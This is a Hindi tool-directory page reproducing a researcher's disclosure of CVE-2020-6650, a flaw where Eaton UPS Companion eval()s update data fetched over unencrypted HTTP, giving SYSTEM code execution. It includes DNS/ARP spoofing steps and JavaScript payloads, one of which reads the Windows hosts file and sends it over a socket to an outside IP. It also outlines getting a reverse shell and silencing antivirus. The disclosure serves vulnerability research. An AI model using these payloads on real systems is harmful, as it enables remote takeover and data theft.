Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Eaton-UPS-Companion-Exploit — यह रिपॉजिटरी CVE-2020-6650 का विवरण देती है, जो Eaton के UPS Companion में मेरे द्वारा खोजी गई एक कमजोरी है। सभी उपयोगकर्ताओं को तुरंत v1.06 पर अपग्रेड करना चाहिए, अन्यथा वे अपने सिस्टम तक दूरस्थ प्रशासक पहुंच प्राप्त करने का जोखिम उठाते हैं। | Kitploit
उपकरण/GitHubGitHub/ravss/
eaton-ups-companion-exploit
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलरेड टीमिंगपेलोड डेवलपमेंट
GitHubravss/eaton-ups-companion-exploit

Eaton-UPS-Companion-Exploit

यह रिपॉजिटरी CVE-2020-6650 का विवरण देती है, जो Eaton के UPS Companion में मेरे द्वारा खोजी गई एक कमजोरी है। सभी उपयोगकर्ताओं को तुरंत v1.06 पर अपग्रेड करना चाहिए, अन्यथा वे अपने सिस्टम तक दूरस्थ प्रशासक पहुंच प्राप्त करने का जोखिम उठाते हैं।

रिपॉजिटरी देखें
116 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

अवलोकन

Eaton UPS Companion सॉफ्टवेयर हर सप्ताह एक असुरक्षित HTTP कनेक्शन पर एक अपडेट की जांच करता है और अपडेट URL पर जो कुछ भी है उसकी सामग्री को eval() करता है। यह एक हमलावर को एक जावास्क्रिप्ट फ़ंक्शन तैयार करने की अनुमति देता है जो बैकएंड सॉफ़्टवेयर में पहले से मौजूद निम्न-स्तरीय OS संचालन, जैसे फ़ाइल निष्पादन, नेटवर्क सॉकेट और फ़ाइलसिस्टम I/O का उपयोग करता है। ये सभी संचालन NT AUTHORITY\SYSTEM विशेषाधिकारों के साथ होते हैं, संभवतः UPS (अनइंटरप्टिबल पावर सप्लाई) को सिस्टम प्रबंधन के लिए आवश्यक अनुमतियों के कारण। कुछ समय प्रतीक्षा करने के बाद, स्वचालित कमांड इंजेक्शन जो एक SYSTEM शेल प्रदान करता है, बिना किसी प्रयास के होता है।

यह संस्करण 1.06 में ठीक कर दिया गया है और निर्धारित CVE ID CVE-2020-6650 है।

समयरेखा (UTC+12)

बग नोटिस किया गया2019/10/25 - 21:43
एक्सप्लॉइट का एहसास हुआ2019/12/28 - 06:28
ईटन को रिपोर्ट किया गया2019/12/28 - 10:00
स्वीकार किया गया2019/12/30 - 22:05
सरल PoC भेजा गया2020/01/04 - 03:32
पैच किया जा रहा है2020/01/21 - 12:54
पैच किया गया2020/03/21 - 12:21

इस एक्सप्लॉइट के खुलासे को सरल बनाने के लिए ईटन का धन्यवाद।


खोज के कदम

Eaton UPS Companion http://pqsoftware.eaton.com/upgrade/upgrade_euc.info से अपडेट प्राप्त करता है।

समस्या 1: dsniff के arpspoof और dnsspoof के माध्यम से आसानी से स्पूफ किया जा सकता है, फिर python -m http.server 80। समस्या 2: HTTPS की कमी उसी प्रभाव के लिए एक और हमला वेक्टर खोलती है।

2019/10/25 - 22:08 तक, लिंक की सामग्री यह है:

root@kitploit:~
// CHECK: |12ef94bf01265a99b04bab6263bbc0eba652ec3e|
{
  "EUC":
  {
    "WINDOWS":
    {
      "version": "1.04.017",
      "packageURL": "install/win32/euc/euc_win_1_04_017.exe",
      "info": "New release<br />More information here: <a href='http://pqsoftware.eaton.com' target='_blank'>Link to Eaton site</a><br />"
    }
  }
}

यह पता नहीं चल पाया कि फ़ाइल के लिए SHA1 चेकसम की गणना कैसे की जाती है या इसकी गणना करने के लिए क्या उपयोग किया जाता है, लेकिन ऐसा करने से यह बहुत सरल हो जाएगा।

Eaton UPS Companion http://localhost:4679 पर एक स्थानीय HTTP सर्वर बनाता है। "Version: Eaton UPS Companion v1.05" पर क्लिक करने से http://localhost:4679/trace.html पर एक "छिपा हुआ" डीबग लॉग खुलता है। इसे cmd.exe में ".\mc2.exe -start -debug" के माध्यम से भी खोला जा सकता है।

एक खाली HTML पेज परोसने से एक प्रमुख त्रुटि उत्पन्न होती है जो लॉग हो जाती है:

root@kitploit:~
2019/10/25-21:32:29.051 | UpdateManager        | !!! ERROR: Update data could not be parsed: 
{
  "message": "syntax error", 
  "fileName": "scripts/libs/json.js", 
  "lineNumber": 122, 
  "stack": "()@:0\neval(\"()\")@:0\n(\"\") . . .
  "name": "SyntaxError"
}

यहाँ eval() का उपयोग किया जा रहा है, जो हमारे लिए इसे आसान बनाता है। यहाँ UI हेरफेर का एक उदाहरण है, जहाँ नीचे की सामग्री update_euc.info में जाती है।

root@kitploit:~
UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:System.getProductInfo(L('/Install/ServerUnreachable')), buttons:{ok:'/Misc/OK'}})

अनाम फ़ंक्शनों की बदौलत इसे एक उचित फ़ंक्शन में बदला जा सकता है:

root@kitploit:~
(function() {
        UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 1.')), buttons:{ok:'Game Over 1'}});
        UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L('Ravjot was here 2.')), buttons:{ok:'Game Over 2'}});
})()

मेरा मानना है कि ShutdownManager तक भी पहुंच हो सकती है, जो अच्छा नहीं है।

http://localhost:4679/server/data_srv.js?action=init पर जाने से सिस्टम कैसे काम करता है, इसके बारे में अधिक जानकारी मिलती है। सामान्य JS फ़ंक्शन जैसे alert() मौजूद नहीं हैं और document, console और object जैसी वस्तुएं भी मौजूद नहीं हैं। ECMAScript का बहुत पुराना संस्करण या कुछ और? न तो let कीवर्ड है, केवल var है।

यह मदद कर सकता है:

root@kitploit:~
"stack": "()@:0\neval(\"()\")@:0\n(\"\")@scripts/libs/json.js:122\n((function (upgradeStatus) {trace(\"ui_cgf\", \"Check upgrade returns: '{0}'\", upgradeStatus);if (upgradeStatus == \"NEW_VERSION\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:S(L(\"/Install/SoftwareUpgradeLaunch\"), UpdateManager.updateData.version), buttons:{yes:\"/Misc/Yes\", no:\"/Misc/No\"}});} else if (upgradeStatus == \"UP_TO_DATE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:L(\"/Install/NoSoftwareUpgradeAvailable\"), buttons:{ok:\"/Misc/OK\"}});} else if (upgradeStatus == \"SERVER_UNREACHABLE\") {UIManager.setCmd({action:\"showMessage\", id:\"softwareUpgradeMessage\", msg:System.getProductInfo(L(\"/Install/ServerUnreachable\")), buttons:{ok:\"/Misc/OK\"}});}}))@scripts/managers/update_manager.js:175\n(\"\")@scripts/configs/ui_cfg.js:1058\n([object Object])@scripts/managers/ui_manager.js:55\nsendData([object Object])@/server/data_srv.js:75\n([object Object],[object Object])@/server/data_srv.js:82\n([object Object])@scripts/libs/http_server.js:274\ncall([object Object],[object Object])@:0\n()@scripts/libs/core/thread.js:136\n@runThread:1\n",

UIManager.setCmd({action:'showMessage', id:'softwareUpgradeMessage', msg:S(L('/Install/SoftwareUpgradeLaunch'), UpdateManager.updateData.version), buttons:{yes:'/Misc/Yes', no:'/Misc/No'}});

मैं "मैनेजर" ऑब्जेक्ट्स के सभी गुणों को देख सकता हूं, उदा. UpdateManager इस प्रकार:

root@kitploit:~
(function() {
  for (var property in UpdateManager) {
    UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(property + " IS " + UpdateManager[property]), buttons:{ok:'Game Over'}});
  }
})()

UpdateManager पर ऐसा करने पर ये बहुत ही दिलचस्प फ़ंक्शन मिले:

root@kitploit:~
selfUpdate IS function () {\n    var packagePath = UpdateManager.retrievePackage();\n    if (packagePath) {\n        ThreadPool.run(function () {var adminOK = System.getAdminRights();if (adminOK) {var installCmd = S(\"?/?\", File.getCurrentWorkingDir(), packagePath);var installPrm = \"-install -silent\";if (!File.status(\"scripts\")) {debug(\"UpdateManager\", \"Launching update package '? ?' ...\", installCmd, installPrm);System.open(installCmd, installPrm);} else {debug(\"UpdateManager\", \"Launching update package '? ?' muted\", installCmd, installPrm);}} else {error(\"UpdateManager\", \"Unable to get admin rights to launch upgrade\");}});\n    }\n}

retrievePackage IS function () {\n    var updateLocation = UpdateManager.updateLocation;\n    if (!UpdateManager.updateData) {\n        UpdateManager.checkForUpgrade();\n    }\n    if (!UpdateManager.updateData.packageURL) {\n        error(\"UpdateManager\", \"Unable to retrieve package url: UpdateManager.updateData = ?\", dump(UpdateManager.updateData, 2));\n        return false;\n    }\n    var packageURL = UpdateManager.updateData.packageURL;\n    var packagePath = S(\"?/?\", UpdateManager.outputPath, File.pathInfo(packageURL).file);\n    File.createPath(UpdateManager.outputPath);\n    if (File.status(packagePath)) {\n        debug(\"UpdateManager\", \"Update package '?' already in cache.\", packagePath);\n        return packagePath;\n    }\n    debug(\"UpdateManager\", \"Retrieving update package at '?'\", packageURL);\n    var client = new HTTPClient(updateLocation);\n    var response = client.get(packageURL);\n    if (response && response.status == 200) {\n        debug(\"UpdateManager\", \"Retrieved package at '?'\", packageURL);\n        try {\n            File.put(packagePath, response.data);\n            debug(\"UpdateManager\", \"Saved update package in file '?'\", packagePath);\n            return packagePath;\n        } catch (e) {\n            error(\"Failed to save update package at '?'\", packagePath);\n        }\n    } else {\n        debug(\"UpdateManager\", \"Failed to retrieve package at '?'\", packageURL);\n    }\n    return false;\n}

यह स्पष्ट करता है कि हम समस्याएं पैदा कर सकते हैं:

root@kitploit:~
(function() {
  if (System.getAdminRights()) {
    UIManager.setCmd({action:'showMessage', msg:System.getProductInfo(L("Ravjot is admin.")), buttons:{ok:'Game Over'}});
  }
})()

और भी उपयोगी फ़ंक्शन कॉल हैं जैसे File.get("C:\\Windows\\System32\\drivers\\etc\\hosts") जो होस्ट फ़ाइल की सामग्री को एक स्ट्रिंग में निकालता है, लेकिन केवल आंतरिक रूप से। HTTPClient ऑब्जेक्ट के गुणों की खोज करने के बाद, एक और ऑब्जेक्ट क्लास है जो आपको सॉकेट बनाने देता है।

उदाहरण के लिए, होस्ट्स फ़ाइल प्राप्त करने के लिए:

root@kitploit:~
(function() {
  var hosts = File.get("C:\\Windows\\System32\\drivers\\etc\\hosts");
  var s = new Socket("tcp");
  s.connect("192.168.1.???", 44444);
  s.send(hosts);
  s.close;
 }
})()

अंततः, मैंने पता लगाया कि System.open(<file>, <args>) कैसे काम करता है, जो एक फ़ाइल को निष्पादित करता है। यहाँ से, यह सिर्फ एक रिवर्स शेल अपलोड करना, किसी भी एंटी-वायरस समाधान को शांत करना (क्योंकि हमारे पास SYSTEM विशेषाधिकार हैं), और एक रिवर्स शेल प्राप्त करना है।

टूल डाउनलोड करें